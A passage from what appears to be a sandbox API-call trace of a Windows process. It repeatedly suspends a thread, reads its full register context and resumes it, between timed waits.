FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0108.608] ResumeThread (hThread=0x130) returned 0x1
[0108.608] CloseHandle (hObject=0x130) returned 1
[0108.608] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0108.669] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0108.743] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0108.820] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0108.957] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0108.957] SuspendThread (hThread=0x130) returned 0x0
[0108.957] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147988, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x15a1ffa, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0109.024] ResumeThread (hThread=0x130) returned 0x1
[0109.024] CloseHandle (hObject=0x130) returned 1
[0109.024] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0109.058] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0109.127] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0109.201] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0109.275] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0109.276] SuspendThread (hThread=0x130) returned 0x0
[0109.276] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147858, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12ede60, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0109.362] ResumeThread (hThread=0x130) returned 0x1
[0109.362] CloseHandle (hObject=0x130) returned 1
[0109.362] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0109.418] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0109.452] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0109.527] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0109.605] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0109.605] SuspendThread (hThread=0x130) returned 0x0
[0109.605] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147830, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x15bdffe, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0109.673] ResumeThread (hThread=0x130) returned 0x1
[0109.673] CloseHandle (hObject=0x130) returned 1
[0109.673] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0109.707] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0109.741] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0109.816] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0109.891] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0109.891] SuspendThread (hThread=0x130) returned 0x0
[0109.891] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147bc8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x15c5e20, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, 